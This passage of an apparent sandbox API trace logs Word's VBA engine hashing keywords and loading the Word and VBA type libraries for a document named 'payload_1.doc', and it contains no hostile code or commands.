LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="With") returned 0x404bed [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="WithEvents") returned 0x40f2eb [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Write") returned 0x405c2e [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Xor") returned 0x40ef9b [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#Const") returned 0x40f8c9 [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#Else") returned 0x4050dd [0093.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#ElseIf") returned 0x40e5b5 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#End") returned 0x40d478 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#If") returned 0x40d383 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Base") returned 0x409fb8 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Control") returned 0x40a946 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Creatable") returned 0x401d92 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Customizable") returned 0x40c26d [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Description") returned 0x4009d0 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Exposed") returned 0x4030b3 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Ext_KEY") returned 0x40a88e [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_HelpID") returned 0x403e41 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_Func") returned 0x40c92c [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_Property") returned 0x407f4a [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_PropertyPut") returned 0x406658 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_PropertyPutRef") returned 0x405b25 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_MemberFlags") returned 0x408db7 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Name") returned 0x40e2ff [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_PredeclaredId") returned 0x405fc7 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_ProcData") returned 0x407005 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_TemplateDerived") returned 0x409f1e [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarDescription") returned 0x403303 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarHelpID") returned 0x40a3b6 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarMemberFlags") returned 0x40b6ea [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarProcData") returned 0x401b0c [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_UserMemId") returned 0x407b95 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarUserMemId") returned 0x404d5f [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_GlobalNameSpace") returned 0x40ce77 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName=",") returned 0x401043 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName=".") returned 0x401045 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="\"") returned 0x401039 [0093.406] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="_") returned 0x401076 [0093.407] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CLngPtr") returned 0x405ab0 [0093.407] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefLngPtr") returned 0x4036f2 [0093.407] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="PtrSafe") returned 0x406f4a [0093.407] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CLngLng") returned 0x404463 [0093.407] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefLngLng") returned 0x4020a5 [0093.407] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LongLong") returned 0x40378e [0093.407] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LongPtr") returned 0x40d4e8 [0093.407] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="0") returned 0x401047 [0093.407] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="0") returned 0x401047 [0093.407] StringFromGUID2 (in: rguid=0x2764b224030*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xb5690f31c0, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0093.407] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f2e80 | out: phkResult=0xb5690f2e80*=0x129e) returned 0x0 [0093.407] RegOpenKeyW (in: hKey=0x129e, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0xb5690f2e78 | out: phkResult=0xb5690f2e78*=0x12a6) returned 0x0 [0093.408] RegEnumKeyW (in: hKey=0x12a6, dwIndex=0x0, lpName=0xb5690f2ea8, cchName=0xa | out: lpName="8.7") returned 0x0 [0093.444] wcscpy_s (in: _Destination=0xb5690f2e90, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0093.444] RegOpenKeyW (in: hKey=0x12a6, lpSubKey="8.7", phkResult=0xb5690f2f38 | out: phkResult=0xb5690f2f38*=0x12ae) returned 0x0 [0093.445] _ultoa_s (in: _Val=0x409, _DstBuf=0xb5690f2eb0, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0093.445] RegOpenKeyA (in: hKey=0x12ae, lpSubKey="409", phkResult=0xb5690f2ea0 | out: phkResult=0xb5690f2ea0*=0x0) returned 0x2 [0093.445] _ultoa_s (in: _Val=0x9, _DstBuf=0xb5690f2eb0, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0093.445] RegOpenKeyA (in: hKey=0x12ae, lpSubKey="9", phkResult=0xb5690f2ea0 | out: phkResult=0xb5690f2ea0*=0x0) returned 0x2 [0093.445] RegOpenKeyA (in: hKey=0x12ae, lpSubKey="0", phkResult=0xb5690f2ea0 | out: phkResult=0xb5690f2ea0*=0x12b6) returned 0x0 [0093.445] RegOpenKeyW (in: hKey=0x12b6, lpSubKey="win64", phkResult=0xb5690f2ea8 | out: phkResult=0xb5690f2ea8*=0x12be) returned 0x0 [0093.446] RegCloseKey (hKey=0x12be) returned 0x0 [0093.446] RegCloseKey (hKey=0x12b6) returned 0x0 [0093.446] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f2f40, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.446] RegOpenKeyW (in: hKey=0x12ae, lpSubKey="0", phkResult=0xb5690f2f18 | out: phkResult=0xb5690f2f18*=0x12b2) returned 0x0 [0093.446] RegQueryValueW (in: hKey=0x12b2, lpSubKey="win64", lpData=0xb5690f2f60, lpcbData=0xb5690f2f14 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0xb5690f2f14) returned 0x0 [0093.447] wcscpy_s (in: _Destination=0xb5690f3290, _SizeInWords=0x800, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0093.447] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.447] RegCloseKey (hKey=0x12ae) returned 0x0 [0093.447] RegCloseKey (hKey=0x12a6) returned 0x0 [0093.447] RegCloseKey (hKey=0x129e) returned 0x0 [0093.447] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0xb5690f2118*=0x0 | out: pptlib=0xb5690f2118*=0x276454c2ce0) returned 0x0 [0093.480] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x690f2138, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f21e8 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f21e8) returned 0x0 [0093.480] IUnknown:QueryInterface (in: This=0x276454c2ce0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f1f28 | out: ppvObject=0xb5690f1f28*=0x0) returned 0x80004002 [0093.481] ITypeLib:RemoteGetLibAttr (in: This=0x276454c2ce0, ppTLibAttr=0xb5690f1f20, pDummy=0xb5690f1f28 | out: ppTLibAttr=0xb5690f1f20, pDummy=0xb5690f1f28*=0x0) returned 0x0 [0093.481] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f1f18, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0xb5690f1f18*="Microsoft Word 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0093.481] StringFromGUID2 (in: rguid=0x2764ae3b3e0*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xb5690f1f40, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0093.481] _ultow_s (in: _Value=0x8, _Buffer=0xb5690f1e8a, _BufferCount=0x10, _Radix=16 | out: _Buffer="8") returned 0x0 [0093.481] _ultow_s (in: _Value=0x7, _Buffer=0xb5690f1e8e, _BufferCount=0xe, _Radix=16 | out: _Buffer="7") returned 0x0 [0093.481] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f1e92, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.481] wcscpy_s (in: _Destination=0x276454899c8, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0093.481] wcscpy_s (in: _Destination=0x276454899ce, _SizeInWords=0x8b, _Source="{00020905-0000-0000-C000-000000000046}" | out: _Destination="{00020905-0000-0000-C000-000000000046}") returned 0x0 [0093.481] wcscpy_s (in: _Destination=0x27645489a1a, _SizeInWords=0x65, _Source="#8.7#0#" | out: _Destination="#8.7#0#") returned 0x0 [0093.481] wcscpy_s (in: _Destination=0x27645489a28, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0093.481] wcscpy_s (in: _Destination=0x27645489a9e, _SizeInWords=0x23, _Source="Microsoft Word 16.0 Object Library" | out: _Destination="Microsoft Word 16.0 Object Library") returned 0x0 [0093.481] ITypeLib:LocalReleaseTLibAttr (This=0x276454c2ce0) returned 0x0 [0093.481] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa0b10, cb=0x1a0) returned 0x2764af85500 [0093.481] wcscpy_s (in: _Destination=0x2764af85500, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0093.481] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x690f2038, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764aff413c | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764aff413c) returned 0x0 [0093.481] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Word") returned 0x406bb5 [0093.481] strcpy_s (in: _Dst=0xb5690f1e30, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0093.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f1e30, cbMultiByte=5, lpWideCharStr=0xb5690f1c80, cchWideChar=5 | out: lpWideCharStr="Word") returned 5 [0093.481] wcsncpy_s (in: _Destination=0xb5690f1c30, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0093.481] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0093.482] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x11c) returned 0x2764b16e580 [0093.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x2764b16e580, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0093.482] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b16e580) [0093.482] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b423090, cb=0x220) returned 0x27644f1b100 [0093.482] wcscpy_s (in: _Destination=0x27644f1b198, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0093.482] wcsncpy_s (in: _Destination=0xb5690f1c70, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0093.482] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0093.482] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x11c) returned 0x2764b16fe70 [0093.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x2764b16fe70, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0093.482] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b16fe70) [0093.482] wcsncpy_s (in: _Destination=0xb5690f1c30, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.482] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0093.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f1b60, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0093.482] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0093.482] IUnknown:AddRef (This=0x276454c2ce0) returned 0x4 [0093.482] IUnknown:QueryInterface (in: This=0x276454c2ce0, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f2058 | out: ppvObject=0xb5690f2058*=0x0) returned 0x80004002 [0093.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0xb5690f2020, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0093.482] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Word") returned 0x406bb5 [0093.482] IUnknown:Release (This=0x276454c2ce0) returned 0x3 [0093.482] GetModuleFileNameW (in: hModule=0x7ff9bde20000, lpFilename=0x7ff9be2017e0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0093.482] QueryPathOfRegTypeLib (in: guid=0x7ff9be1d60e0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0xb5690f20c0 | out: lpbstrPathName=0xb5690f20c0) returned 0x0 [0093.485] LoadTypeLibEx (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0xb5690f2118*=0x0 | out: pptlib=0xb5690f2118*=0x276454bf8a0) returned 0x0 [0093.496] IUnknown:AddRef (This=0x276454bf8a0) returned 0x2 [0093.496] ITypeLib:RemoteGetDocumentation (in: This=0x276454bf8a0, index=-1, refPtrFlags=0x690f2138, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb500000000 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb500000000) returned 0x0 [0093.496] IUnknown:QueryInterface (in: This=0x276454bf8a0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f1f28 | out: ppvObject=0xb5690f1f28*=0x0) returned 0x80004002 [0093.496] ITypeLib:RemoteGetLibAttr (in: This=0x276454bf8a0, ppTLibAttr=0xb5690f1f20, pDummy=0xb5690f1f28 | out: ppTLibAttr=0xb5690f1f20, pDummy=0xb5690f1f28*=0x0) returned 0x0 [0093.496] ITypeLib:RemoteGetDocumentation (in: This=0x276454bf8a0, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f1f18, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0xb5690f1f18*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0093.496] StringFromGUID2 (in: rguid=0x2764ae3b3e0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xb5690f1f40, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0093.496] _ultow_s (in: _Value=0x4, _Buffer=0xb5690f1e8a, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0093.496] _ultow_s (in: _Value=0x2, _Buffer=0xb5690f1e8e, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0093.496] _ultow_s (in: _Value=0x9, _Buffer=0xb5690f1e92, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0093.497] wcscpy_s (in: _Destination=0x276454899c8, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0093.497] wcscpy_s (in: _Destination=0x276454899ce, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0093.497] wcscpy_s (in: _Destination=0x27645489a1a, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0093.497] wcscpy_s (in: _Destination=0x27645489a28, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0093.497] wcscpy_s (in: _Destination=0x27645489aae, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0093.497] ITypeLib:LocalReleaseTLibAttr (This=0x276454bf8a0) returned 0x0 [0093.497] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764af85500, cb=0x340) returned 0x27645431760 [0093.497] wcscpy_s (in: _Destination=0x276454318a8, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0093.497] ITypeLib:RemoteGetDocumentation (in: This=0x276454bf8a0, index=-1, refPtrFlags=0x690f2038, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764b60df6c | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764b60df6c) returned 0x0 [0093.497] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA") returned 0x40e2f7 [0093.497] strcpy_s (in: _Dst=0xb5690f1e30, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0093.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f1e30, cbMultiByte=4, lpWideCharStr=0xb5690f1c80, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0093.497] IUnknown:AddRef (This=0x276454c2ce0) returned 0x4 [0093.497] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="VBA", lHashVal=0x40e2f7, pfName=0xb5690f1d50, pBstrLibName=0xb5690f1c80 | out: pfName=0xb5690f1d50*=0, pBstrLibName=0xb5690f1c80) returned 0x0 [0093.499] IUnknown:Release (This=0x276454c2ce0) returned 0x3 [0093.499] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc) returned 0x2764b21e600 [0093.499] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad024e0) [0093.499] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad02360 [0093.499] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b21e600) [0093.499] wcsncpy_s (in: _Destination=0xb5690f1c30, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0093.499] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0093.499] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x122) returned 0x2764b16e580 [0093.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x2764b16e580, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0093.499] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b16e580) [0093.499] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x27644f1b100, cb=0x440) returned 0x2764b3c6a40 [0093.499] wcscpy_s (in: _Destination=0x2764b3c6c28, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0093.499] wcsncpy_s (in: _Destination=0xb5690f1c70, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0093.499] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0093.499] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x122) returned 0x2764b16e580 [0093.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x2764b16e580, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0093.499] IMalloc:Free 